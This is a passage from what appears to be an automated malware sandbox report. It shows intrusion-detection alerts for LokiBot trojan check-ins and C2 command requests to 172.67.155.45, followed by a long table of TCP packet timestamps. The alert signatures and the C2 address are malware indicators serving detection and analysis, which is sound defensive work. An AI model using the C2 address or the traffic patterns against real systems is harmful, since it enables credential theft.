07/27/21-22:08:32.207091	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49858	80	192.168.2.6	172.67.155.45
07/27/21-22:08:32.207091	TCP	2025381	ET TROJAN LokiBot Checkin	49858	80	192.168.2.6	172.67.155.45
07/27/21-22:08:32.896638	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49859	80	192.168.2.6	172.67.155.45
07/27/21-22:08:32.896638	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49859	80	192.168.2.6	172.67.155.45
07/27/21-22:08:32.896638	TCP	2025381	ET TROJAN LokiBot Checkin	49859	80	192.168.2.6	172.67.155.45
07/27/21-22:08:33.507827	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49860	80	192.168.2.6	172.67.155.45
07/27/21-22:08:33.507827	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49860	80	192.168.2.6	172.67.155.45
07/27/21-22:08:33.507827	TCP	2025381	ET TROJAN LokiBot Checkin	49860	80	192.168.2.6	172.67.155.45
07/27/21-22:08:34.173557	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49861	80	192.168.2.6	172.67.155.45
07/27/21-22:08:34.173557	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49861	80	192.168.2.6	172.67.155.45
07/27/21-22:08:34.173557	TCP	2025381	ET TROJAN LokiBot Checkin	49861	80	192.168.2.6	172.67.155.45
07/27/21-22:08:34.778960	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49862	80	192.168.2.6	172.67.155.45
07/27/21-22:08:34.778960	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49862	80	192.168.2.6	172.67.155.45
07/27/21-22:08:34.778960	TCP	2025381	ET TROJAN LokiBot Checkin	49862	80	192.168.2.6	172.67.155.45
07/27/21-22:08:35.280374	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49863	80	192.168.2.6	172.67.155.45
07/27/21-22:08:35.280374	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49863	80	192.168.2.6	172.67.155.45
07/27/21-22:08:35.280374	TCP	2025381	ET TROJAN LokiBot Checkin	49863	80	192.168.2.6	172.67.155.45
07/27/21-22:08:35.800671	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49864	80	192.168.2.6	172.67.155.45
07/27/21-22:08:35.800671	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49864	80	192.168.2.6	172.67.155.45
07/27/21-22:08:35.800671	TCP	2025381	ET TROJAN LokiBot Checkin	49864	80	192.168.2.6	172.67.155.45
07/27/21-22:08:36.302148	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49865	80	192.168.2.6	172.67.155.45
07/27/21-22:08:36.302148	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49865	80	192.168.2.6	172.67.155.45
07/27/21-22:08:36.302148	TCP	2025381	ET TROJAN LokiBot Checkin	49865	80	192.168.2.6	172.67.155.45
07/27/21-22:08:36.838912	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49866	80	192.168.2.6	172.67.155.45
07/27/21-22:08:36.838912	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49866	80	192.168.2.6	172.67.155.45
07/27/21-22:08:36.838912	TCP	2025381	ET TROJAN LokiBot Checkin	49866	80	192.168.2.6	172.67.155.45

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2021 22:07:15.696257114 CEST	49723	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:15.726706982 CEST	80	49723	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:15.727206945 CEST	49723	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:15.730381012 CEST	49723	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:15.758024931 CEST	80	49723	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:15.758275032 CEST	49723	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:15.786757946 CEST	80	49723	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.034096956 CEST	80	49723	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.034127951 CEST	80	49723	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.034279108 CEST	49723	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.034534931 CEST	49723	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.062673092 CEST	80	49723	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.316886902 CEST	49724	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.342793941 CEST	80	49724	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.343633890 CEST	49724	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.346179008 CEST	49724	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.372138023 CEST	80	49724	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.372282028 CEST	49724	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.397892952 CEST	80	49724	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.629008055 CEST	80	49724	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.629234076 CEST	80	49724	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.629360914 CEST	49724	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.629442930 CEST	49724	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.655596972 CEST	80	49724	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.888516903 CEST	49725	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.918004036 CEST	80	49725	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.918131113 CEST	49725	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.920851946 CEST	49725	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.948561907 CEST	80	49725	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:16.949281931 CEST	49725	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:16.977826118 CEST	80	49725	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.205845118 CEST	80	49725	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.206037998 CEST	49725	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:17.206042051 CEST	80	49725	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.207149029 CEST	49725	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:17.233782053 CEST	80	49725	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.465735912 CEST	49726	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:17.491400957 CEST	80	49726	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.491497993 CEST	49726	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:17.494020939 CEST	49726	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:17.521184921 CEST	80	49726	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.521337986 CEST	49726	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:17.548521996 CEST	80	49726	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.809670925 CEST	80	49726	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.809807062 CEST	49726	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:17.809824944 CEST	80	49726	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:17.809880972 CEST	49726	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:17.835412025 CEST	80	49726	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:18.233215094 CEST	49727	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:18.263622999 CEST	80	49727	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:18.267142057 CEST	49727	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:18.297281981 CEST	49727	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:18.325098038 CEST	80	49727	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:18.327878952 CEST	49727	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:18.355619907 CEST	80	49727	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:18.657910109 CEST	80	49727	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:18.657948971 CEST	80	49727	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:18.658216000 CEST	49727	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:18.658251047 CEST	49727	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:18.658704996 CEST	80	49727	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:18.659179926 CEST	49727	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:18.686866045 CEST	80	49727	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:19.542371035 CEST	49728	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:19.570225000 CEST	80	49728	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:19.570411921 CEST	49728	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:19.573442936 CEST	49728	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:19.601883888 CEST	80	49728	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:19.602101088 CEST	49728	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:19.629673958 CEST	80	49728	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:19.862253904 CEST	80	49728	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:19.862271070 CEST	80	49728	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:19.862348080 CEST	49728	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:19.862379074 CEST	49728	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:19.893094063 CEST	80	49728	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:20.976929903 CEST	49729	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.007288933 CEST	80	49729	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.007431030 CEST	49729	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.010370016 CEST	49729	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.042392969 CEST	80	49729	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.042516947 CEST	49729	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.070285082 CEST	80	49729	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.314574957 CEST	80	49729	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.314589977 CEST	80	49729	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.314692020 CEST	49729	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.314728022 CEST	49729	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.342017889 CEST	80	49729	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.596077919 CEST	49730	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.623950005 CEST	80	49730	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.624128103 CEST	49730	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.626991987 CEST	49730	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.654752016 CEST	80	49730	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.654970884 CEST	49730	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:21.682831049 CEST	80	49730	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.919950008 CEST	80	49730	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.920058966 CEST	80	49730	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:21.980110884 CEST	80	49730	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:22.019678116 CEST	49730	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:22.019728899 CEST	49730	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:22.049974918 CEST	80	49730	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:22.637701988 CEST	49733	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:22.664186001 CEST	80	49733	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:22.666109085 CEST	49733	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:22.669529915 CEST	49733	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:22.695559025 CEST	80	49733	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:22.695631981 CEST	49733	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:22.721085072 CEST	80	49733	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.086869001 CEST	80	49733	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.087327003 CEST	80	49733	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.087407112 CEST	49733	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:23.090379953 CEST	49733	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:23.112976074 CEST	80	49733	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.452681065 CEST	49736	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:23.480401039 CEST	80	49736	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.482166052 CEST	49736	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:23.484513044 CEST	49736	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:23.512232065 CEST	80	49736	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.514834881 CEST	49736	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:23.542582989 CEST	80	49736	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.769156933 CEST	80	49736	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.769187927 CEST	80	49736	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:23.769409895 CEST	49736	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:23.769434929 CEST	49736	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:23.797107935 CEST	80	49736	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.032365084 CEST	49738	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.060086012 CEST	80	49738	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.060203075 CEST	49738	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.064140081 CEST	49738	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.095379114 CEST	80	49738	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.095503092 CEST	49738	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.126635075 CEST	80	49738	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.368742943 CEST	80	49738	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.368774891 CEST	80	49738	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.368906021 CEST	49738	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.368935108 CEST	49738	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.398437977 CEST	80	49738	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.682641029 CEST	49740	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.710407019 CEST	80	49740	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.712891102 CEST	49740	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.715614080 CEST	49740	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.744410992 CEST	80	49740	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:24.744735003 CEST	49740	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:24.772710085 CEST	80	49740	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.017573118 CEST	80	49740	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.017600060 CEST	80	49740	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.017719984 CEST	49740	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.017792940 CEST	49740	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.045439005 CEST	80	49740	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.243593931 CEST	49742	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.274266958 CEST	80	49742	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.275151014 CEST	49742	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.277672052 CEST	49742	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.305310011 CEST	80	49742	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.305399895 CEST	49742	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.333257914 CEST	80	49742	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.580457926 CEST	80	49742	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.580737114 CEST	80	49742	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.583230019 CEST	49742	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.583245993 CEST	49742	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.612890959 CEST	80	49742	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.794193983 CEST	49744	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.819807053 CEST	80	49744	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.819960117 CEST	49744	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.822462082 CEST	49744	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.848440886 CEST	80	49744	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:25.849389076 CEST	49744	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:25.875473976 CEST	80	49744	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.108458042 CEST	80	49744	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.111146927 CEST	49744	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:26.111191988 CEST	80	49744	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.112377882 CEST	49744	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:26.138303041 CEST	80	49744	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.407136917 CEST	49746	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:26.432857037 CEST	80	49746	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.433201075 CEST	49746	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:26.435924053 CEST	49746	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:26.462182045 CEST	80	49746	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.462558985 CEST	49746	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:26.488281012 CEST	80	49746	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.721088886 CEST	80	49746	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.721105099 CEST	80	49746	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:26.721287012 CEST	49746	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:26.721330881 CEST	49746	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:26.749134064 CEST	80	49746	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.034382105 CEST	49747	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.063690901 CEST	80	49747	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.063855886 CEST	49747	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.067217112 CEST	49747	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.098469019 CEST	80	49747	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.099087000 CEST	49747	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.129970074 CEST	80	49747	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.346529961 CEST	80	49747	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.346615076 CEST	80	49747	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.346735954 CEST	49747	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.346823931 CEST	49747	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.374726057 CEST	80	49747	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.589783907 CEST	49749	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.617351055 CEST	80	49749	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.618743896 CEST	49749	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.621690989 CEST	49749	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.649663925 CEST	80	49749	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.650980949 CEST	49749	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.679838896 CEST	80	49749	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.918581009 CEST	80	49749	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.918739080 CEST	80	49749	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:27.918809891 CEST	49749	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.918894053 CEST	49749	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:27.946388960 CEST	80	49749	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.160403013 CEST	49751	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.188013077 CEST	80	49751	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.188133001 CEST	49751	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.192569971 CEST	49751	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.220386982 CEST	80	49751	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.220525980 CEST	49751	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.251152992 CEST	80	49751	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.492999077 CEST	80	49751	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.493021965 CEST	80	49751	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.493190050 CEST	49751	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.493213892 CEST	49751	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.521127939 CEST	80	49751	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.685821056 CEST	49752	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.711466074 CEST	80	49752	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.711613894 CEST	49752	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.714145899 CEST	49752	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.741168976 CEST	80	49752	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:28.742399931 CEST	49752	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:28.768529892 CEST	80	49752	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.005177021 CEST	80	49752	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.005192041 CEST	80	49752	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.005536079 CEST	49752	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.005574942 CEST	49752	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.032511950 CEST	80	49752	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.222734928 CEST	49753	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.252461910 CEST	80	49753	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.254029989 CEST	49753	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.257810116 CEST	49753	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.286391973 CEST	80	49753	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.286511898 CEST	49753	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.314107895 CEST	80	49753	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.566421986 CEST	80	49753	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.566448927 CEST	80	49753	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.566601992 CEST	49753	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.566812992 CEST	49753	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.594616890 CEST	80	49753	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.870490074 CEST	49754	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.902487993 CEST	80	49754	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.903161049 CEST	49754	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.906128883 CEST	49754	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.931700945 CEST	80	49754	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:29.931823015 CEST	49754	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:29.960622072 CEST	80	49754	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.179260015 CEST	80	49754	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.179301023 CEST	80	49754	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.179394960 CEST	49754	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.179578066 CEST	49754	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.205322981 CEST	80	49754	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.400938988 CEST	49755	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.430133104 CEST	80	49755	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.430265903 CEST	49755	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.433121920 CEST	49755	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.462378025 CEST	80	49755	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.462487936 CEST	49755	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.492394924 CEST	80	49755	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.735956907 CEST	80	49755	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.736093998 CEST	49755	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.736195087 CEST	80	49755	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.736277103 CEST	49755	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.764210939 CEST	80	49755	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.938796043 CEST	49756	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.964610100 CEST	80	49756	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.964709044 CEST	49756	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.967523098 CEST	49756	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:30.994148970 CEST	80	49756	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:30.994224072 CEST	49756	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.019814968 CEST	80	49756	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.299643040 CEST	80	49756	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.299850941 CEST	49756	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.299998999 CEST	80	49756	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.300898075 CEST	49756	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.326206923 CEST	80	49756	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.530441046 CEST	49757	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.560214996 CEST	80	49757	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.560401917 CEST	49757	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.563205957 CEST	49757	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.593473911 CEST	80	49757	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.593553066 CEST	49757	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.625873089 CEST	80	49757	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.917309999 CEST	80	49757	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.917444944 CEST	80	49757	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:31.917467117 CEST	49757	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.917496920 CEST	49757	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:31.947859049 CEST	80	49757	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:32.162784100 CEST	49758	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:32.189507961 CEST	80	49758	172.67.155.45	192.168.2.6
